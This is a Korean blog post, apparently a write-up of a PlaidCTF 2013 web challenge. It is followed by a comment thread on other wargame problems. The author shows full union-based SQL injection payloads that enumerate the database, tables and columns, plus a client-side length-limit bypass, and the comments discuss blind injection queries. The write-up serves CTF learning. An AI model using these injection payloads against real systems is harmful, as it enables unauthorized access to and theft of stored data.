이번 plaid CTF 에서 가장 만만했던 문제는 web 150 charseet 문제밖에 없었다.


나머지는 탈탈탈 털렸다. 특히 64비트 elf 문제들.......


그 문제들과는 반대로 web 150문제는 너무 쉬워서 거의 바로 풀었던것 같다.


union sql injection 문제였는데, 취약점은 search를 하는부분에 있었다.


우선 로그인을 하고나서, search 부분에 들어간후, ' (따옴표) 를 삽입해보면 아래와 같은 에러가 뜬다.


Failed to query database: SELECT c.id, c.cname, DATE_FORMAT(c.lastedited, '%d %M %Y @ %H:%i') as lastedited, c.owner, st.name as tname, ca.name as caname FROM sheet_templates st, characters c LEFT JOIN campaign ca on ca.id = c.campaign WHERE c.public = 'y' AND c.template_id = st.id AND UPPER(c.cname) LIKE UPPER(''%') ORDER BY UPPER(c.cname), UPPER(c.cname) LIMIT 15 


붉은 부분에 내가 쓴 글자가 들어가는것을 확인했고, 대충 형식이 어떤 형식인지 파악했으므로, 바로 인젝션에 들어간다.


대충 해보니 필터링은 없는것 같아서 union을 사용했다.


컬럼의 갯수가 6개이니, 6개로 맞춰주고, database의 이름을 빼오기 위해 아래의 쿼리문을 넣어준다.


 ') union (select 'a',database(),'a','a','a','a') # 


하지만, 글자가 20개 제한이라서 그냥 넣지는 못하는데, 크롬의경우 F12를 눌러 개발자도구를 열고, maxlength=20을 검색해서, maxlength=1000으로 바꾸고 진행했다.


이렇게 database의 이름을 구하고, 차례대로 table들의 이름, column들의 이름을 구한다.



 ') union (select 'a',table_name,'a','a','a','a' from information_schema.tables where table_schema='charsheet' ) # 


 ') union (select 'a',column_name,'a','a','a','a' from information_schema.columns where table_name='characters' ) # 


전부 구하고나서는, 최후의 목적은 관리자의 캐릭터를 찾는것이므로, characters 테이블의 cname과 owner을 불러온다.



') union (select 'a',cname,owner,'a','a','a' from characters) #  


그러면 아래의 결과가 나오고, 그 결과가 정답이다.


Character NameLast EditedOwnerTemplateCampaign
r3al50ftwar3ftwadminaaa

posted by tunz
  • 2013.05.03 00:38

    비밀댓글입니다

    • 2013.05.03 10:35

      비밀댓글입니다

  • abe625 2013.05.04 00:21

    맨위 commnet남긴 사람인데요 ㅠㅠ 비밀댓글이라 안보이는데 어떻게 확인하나요?

    • tunz 2013.05.04 15:05 신고

      그렇군요 ㅋㅋㅋㅋㅋ 다시 쓸게요
      에러문을 보시면 LIKE UPPER (' 이부분에서 가로가 열립니다. 그래서 우선 닫아주고 나서 인젝션을 하는것이죠. 근데 나중에 다시보니 유니온도 필요없고 ') or 1=1 # 이렇게만 해도 답이 나오더라구요... 테이블이 똑같아서

  • cronos91 2013.05.08 22:21 신고

    정말 감사합니다~
    그런데 또 질문이있습니다 ㅠㅠsql injection 초보이다보니...ㅠㅠ
    제가 입력한 값이 LIKE UPPER에 들어가므로 ')이렇게 닫아주는 건 이해가가는데
    턴즈님께서 쓰신 쿼리문을 보니 ')이렇게 닫아주고 나서 union (select~~~~)이렇게 하셨는데
    union뒤에 ( 와 ) 가 쓰인 이유가 머죠??

    • tunz 2013.05.08 22:36 신고

      아 ㅎㅎ 그건 별거 아니에요.
      그냥 c언어에서 if (1=1 && 2=2) 를, if((1=1) && (2=2)) 이렇게 쓸수 있듯이, sql문을 쓸때 좀더 알아보기 쉽게 저런식으로 가로를 써주는 경우도 있습니다.
      안써도 제대로 작동해요.

  • cronos91 2013.05.08 23:52 신고

    아~ 정말 감사합니다~~~ㅎㅎ
    너무 친절하게 답변해주시네요 ㅠㅠ 정말 도움이 많이 됩니다.
    그런데 한가지 더 질문이 있습니다.
    혹시 webhacking.kr문제를 풀어보셨는지요
    그 문제중에 51번 문제를 보면 post방식으로 id와 pw값을 넘기는데 pw값이 md5에 전달인자에 true를 넣어줍니다.
    2013 codegate web 100 문제와 비슷한데요

    여기서 질문이있습니다.
    쿼리를 보면 select id from challenge_51_admin where id='$input_id' and pw='$input_pw'이렇게 생겼습니다.
    이때 admin으로 로그인으로 하면되는데요
    그러면 id입력값에 ' or id=admin#을 해주고 pw에는 아무값이나 넣어주면 주석처리에 의해 pw는 아무 영향을 주지않고 id=admin에 의해 로그인 되는거 아닌가요?? 근데 실제로는 안되네요 ㅠㅠ

    꼭 brute forcing을 하지않고 위에 쓴방법이 안되는 이유가 멀까요?? ㅠㅠ

    긴글 읽어주셔서 감사합니다.

    • tunz 2013.05.09 00:23 신고

      음 그러게요.. 소스만 보면 그렇게 한번 시도해볼만 하네요.
      저게 원본 소스가 아닐수도 있고,
      아니면 magic quotes라는 php설정이 있다고 알고 있는데, 이게 켜져있으면 따옴표를 넣었을때 자동으로 앞에 역슬래쉬를 넣어줘서 \' 가 되버리는데, 아마 이것때문인것 같네요.

  • cronos91 2013.05.09 22:06 신고

    혹시 webhacking.kr 2번 풀어보셨나요~??

    • tunz 2013.05.10 15:51 신고

      넵. 블라인드 인젝션 문제네요.

  • cronos91 2013.05.11 00:21 신고

    2번문제에서요
    쿠키 time부분에 injection을 해야하잖아요 혹시 어떤 쿼리문을 쓰셨나요??
    제 생각에 일단 컬럼명이 password이니깐
    참 and ascii(substr(passowrd,1,1))=97이런식으로 하려했는데 안되더라구요 머가문제인거죠??
    다른 문서를 찾아보니 and select ascii(substr(password,1,1)) from admin=97이런식으로 하던데...
    제가 생각했던 방법과의 차이점은 머고 머가 문제였던거죠??ㅠㅠ

    그냥 단순히 컬럼명만 쓰는경우와 테이블명과 select문까지 써야되는 경우의 차이가 머죠??

    • tunz 2013.05.11 02:09 신고

      좀 오래된거라 기억은 잘 안나지만,
      아마 같은 테이블이 아니라서 그럴겁니다.
      현재 쿼리문에서 불러오는 테이블이 admin테이블이 아니기 때문에,
      서브쿼리를 이용해서 "admin 테이블의 password"를 불러오는것이죠.

  • cronos91 2013.05.11 00:21 신고

    죄송합니다 제가 질문이 좀 많네요 ㅠㅠ
    webhacking.kr에
    50번 문제를 보면 id부분에 injection을 하고 #을 넣어서 pw를 md5로 암호화하는부분은 주석처리로 지우면 될것같은데요
    그럼 $id에 aaa or lv like 3#하면 될것같은데 안되네요 무엇이 문제인거죠??
    글쓰신거 보니 data값이 비어있어서 wrong을 출력한다는데 왜 data값이 빈거죠?
    혹시 db에 lv=3인것이 없어서 data값이 비어있는건가요?

    그리고

    **항상 궁금한건데 **
    $data=mysql_fetch_array(mysql_query("select lv from zmail_member where id='aaa' or lv=3)) 이렇게 입력하면
    db에서 zmail_member테이블을 뒤져서 lv=3인 것을 select하는 것인가요?
    아니면 db에 있던 없던간에 그냥 lv=3을 반환하는 것인가요??ㅠㅠ

    • tunz 2013.05.11 02:13 신고

      네 데이터에서 lv가 3인것을 찾아서 그 lv를 가져오는것입니다.
      그래서 없는경우에는 보통 union 같은걸 이용해서 있는척 하기도 하죠.

  • cronos91 2013.05.11 00:22 신고

    아! 또 55번문제에서 procedure analyse()#를 이용해
    pAsSw0RdzzzZ 칼럼명을 알아내서 이제 blind sql injection을 시도하려고 했는데요
    ?score=-1 or left(right(pAsSw0RdzzzZ,20,1))<0x7f 이렇게 하면 score=-1은 항상 거짓이고 이것을 or로 연결했으니
    left(right(pAsSw0RdzzzZ,20,1))<0x7f이 참이면 참에 해당하는 반응을 출력해야하는것 아닌가요??(pAsSw0RdzzzZ 문자열 길이=20)

    0x7f가 아스키코드값 제일 끝이니 항상 참인 반응을 출력해야되는데 왜 안될까요??
    제가 이해한부분중에 어느부분이 틀린지좀 설명부탁드려요~

    • tunz 2013.05.11 02:13 신고

      음 이건 잘 모르겠네요.
      문제도 기억이 안나고, 이렇게 해본적이 없어서

    • tunz 2013.05.11 12:08 신고

      지금 다시보니까right(left(pAsSw0RdzzzZ,x),1)

      이렇게 해야 맞는거같네요
      왼쪽에서 x개 가져오고 그중에서 오른쪽 1개

  • cronos91 2013.05.11 19:25 신고

    근데 제가 했던것 처럼
    left(right(pAsSORdzzzZ,x),1)해서 오른쪽에서 x개 가져와서 왼쪽 1개 가져와도 되지않나요??

    • tunz 2013.05.12 00:05 신고

      네 그렇게하셔도 상관없는데,
      위에 댓글 보시면 left(right(pAsSw0RdzzzZ,20,1)) 이렇게 써져있네요.
      left(right(pAsSw0RdzzzZ,20),1) 이렇게 해야될거에요

  • cronos91 2013.05.12 00:30 신고

    감사합니다~~~^^
    너무 친절하시네요 ㅎㅎ
    혹시 balt ctf 풀고있으시나요~?(gaem.baltctf.ru)
    web문제 있던데 한번 풀어보세요~
    풀고있는데 web문제 잘 안풀리네요 ㅠㅠ

    • tunz 2013.05.12 01:43 신고

      제가 지금 시험기간이라 ㅎㅎ 이번 대회는 참가안하려구요

  • cronos91 2013.05.12 00:42 신고

    어?그런데 55번 실제로해보니깐
    ?score=-1 or left(right(pAsSw0RdzzzZ,20),1)<0x7f
    이렇게 하면 error가 뜨네요... 아스키값중에 최대값이 0x7f라서 무조건 참이어야되는데 말이죠..
    그런데 또
    ?score=-1%20or%20left(right(pAsSw0RdzzzZ,20),1)<0x21은 되는데 <0x20은 또 안되고...

    왜그러죠ㅠㅠ

    • tunz 2013.05.12 01:43 신고

      ?? 이상한데요.. 전 잘 되는데요

  • cronos91 2013.05.12 13:20 신고

    이게 참일 경우 자신의 id와 점수를 뿌려주는거 아닌가요??
    거짓일 경우 id에 local host가 나오는거고...
    근데 0x7f보다 작다라고하면 local host를 뿌리는데 0x21보다 작다하면 왜 제 id와 점수를 뿌려줄까요ㅠ

    • tunz 2013.05.15 19:29 신고

      시험때문에 이제서야 봤네요.
      score=-1로 해뒀기때문에, 거짓이면 아무것도 안나오고
      어떤아이디던 나오면 참인게 맞는것 같습니다.

  • cronos91 2013.05.12 13:25 신고

    ?score=-1%20or%20left(right(pAsSw0RdzzzZ,20),1)=0x20을 하면 계속 참인 결과를 보여주네요

    right함수에서 20,19,18,17,....,1까지 모두 =0x20에서 참인 결과를 보여주는데 0x20은 space더군요

    그럼 정답이 다 스페이스인가요?? 먼가이상하네요ㅠ

  • cronos91 2013.05.12 13:27 신고

    아! 그리고 죄송한 부탁이지만...
    game.baltctf.ru에서 web100짜리좀 풀어보실수있으신가요~?ㅠㅠ
    컬럼명이나 테이블명좀 알아내려고 procedure analyse()#을 id부분에 아무리 입력해도 안되고
    그렇다고 union도 안통하네요 ㅠㅠ

    무례하지만 부탁드려요 ㅠㅠ
    항상 고맙습니다~^^

  • 2013.05.16 02:26

    비밀댓글입니다

    • tunz 2013.05.16 13:13 신고

      네 ㅋㅋㅋㅋ 저도 물어볼곳 없이 혼자서 공부해봐서 그 기분 알아요.
      우선 메일이 좋을것같네요
      cwhan.tunz@gmail.com입니다